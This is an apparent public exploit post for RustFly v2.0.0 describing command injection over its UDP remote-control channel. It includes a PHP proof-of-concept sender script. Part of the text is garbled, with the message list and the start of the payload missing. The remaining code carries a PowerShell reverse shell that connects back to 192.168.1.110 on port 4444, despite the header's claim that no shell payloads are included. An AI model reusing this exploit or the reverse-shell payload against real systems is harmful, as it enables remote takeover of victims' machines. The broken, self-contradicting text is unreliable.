============================================================================================================================================= | # Title : RustFly v2.0.0 - Event Manipulation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://bixat.dev/products/rustfly | ============================================================================================================================================= [+] Summary : The remote UI control mechanism of RustFly accepts raw hex-encoded instructions over UDP. Some sequences trigger execution of remote system-level operations. Improper sanitization allows command-level injection. Steps To Reproduce: ------------------- 1) Configure IP and port of RustFly target. 2) Run this PHP PoC sender script. 3) Observe behavior change / message processing by RustFly. ========================================================= PoC Impact: ----------- * Proof of input injection capability * Demonstrates command-carrier transport * No shell-spawning payloads included (safe demonstration) ========================================================= Instructions: ------------- Save file as: poc.php Run: php poc.php &1;\$s.Write((New-Object -TypeName System.Text.ASCIIEncoding).GetBytes(\$r + 'PS > '),0,(\$r + 'PS > ').Length)}\""; echo "=== Security Warning ===\n"; echo "This code contains a dangerous PowerShell command:\n"; echo "--------------------------------------------------\n"; echo $decoded_ps . "\n"; echo "--------------------------------------------------\n\n"; echo "This command does:\n"; echo "1. Creates TCP connection to 192.168.1.110 on port 4444\n"; echo "2. Establishes a reverse shell (backdoor connection)\n"; echo "3. Executes any commands sent by the attacker\n"; echo "4. Returns results to the attacker\n\n"; echo "Do you want to continue? (yes/no): "; $handle = fopen("php://stdin", "r"); $line = fgets($handle); fclose($handle); if(trim(strtolower($line)) != 'yes') { echo "Operation cancelled.\n"; exit(0); } echo "Continuing...\n\n"; $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); if ($sock === false) { echo "[-] Failed to create socket: " . socket_strerror(socket_last_error()) . "\n"; exit(1); } if (!socket_bind($sock, "0.0.0.0", 0)) { echo "[-] Failed to bind socket: " . socket_strerror(socket_last_error()) . "\n"; socket_close($sock); exit(1); } socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 5, "usec" => 0)); try { foreach ($messages as $index => $msg) { $binary_msg = hex2bin($msg); if ($binary_msg === false) { echo "[-] Invalid hex string: $msg\n"; continue; } $sent = socket_sendto($sock, $binary_msg, strlen($binary_msg), 0, $target_ip, $target_port); if ($sent === false) { echo "[-] Failed to send data: " . socket_strerror(socket_last_error()) . "\n"; } else { $display_msg = preg_replace('/[^\x20-\x7E]/', '', $binary_msg); echo "[+] Message " . ($index + 1) . " sent: $display_msg\n"; if ($index == 4) { echo " Warning: Malicious PowerShell command sent!\n"; } } sleep(1); } echo "\n[+] All messages sent successfully.\n"; echo " Warning: If executed, the target machine will connect to 192.168.1.110:4444\n"; } catch (Exception $e) { echo "[-] Exception: " . $e->getMessage() . "\n"; } finally { socket_close($sock); echo "[*] Socket closed.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================